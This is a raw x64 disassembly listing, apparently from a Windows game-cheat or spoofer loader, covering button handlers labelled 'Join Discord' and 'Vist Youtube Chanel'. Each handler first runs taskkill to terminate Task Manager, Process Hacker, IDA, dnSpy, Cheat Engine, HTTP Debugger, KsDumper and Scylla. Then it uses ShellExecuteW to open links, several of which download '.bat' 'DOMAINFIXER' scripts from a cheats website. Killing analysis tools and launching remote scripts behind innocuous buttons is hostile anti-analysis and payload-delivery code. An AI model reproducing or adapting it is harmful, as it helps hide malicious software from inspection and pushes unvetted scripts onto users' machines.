lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO__DOMAINFIXER.bat
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1400aa1fd
call fcn.1400f6410
mov r8b, 1
mov edx, 6
lea rcx, str.____Discord
call fcn.14006be90
call fcn.1400f6410
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ceac]
lea rcx, [rsp + 0x1c68]
call fcn.14005eef0
lea rdx, [rsp + 0x1c68]
lea rcx, str.Join_Discord
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a9ff3
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.https:__discord.gg_pnbSs6NpZ4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1400aa1fd
call fcn.1400f6410
call fcn.1400f6410
mov r8b, 1
mov edx, ntohs
lea rcx, str.___Youtube_Chanel
call fcn.14006be90
call fcn.1400f6410
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ceac]
lea rcx, [rsp + 0x1c70]
call fcn.14005eef0
lea rdx, [rsp + 0x1c70]
lea rcx, str.Vist_Youtube_Chanel
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400aa1fd
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.https:__www.youtube.com__nxt_g3n691_videos
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.1400c6db0
mov rcx, qword [rsp + 0xea90]
xor rcx, rsp
call fcn.14029a180
add rsp, 0xeaa8
pop rdi
pop rsi
ret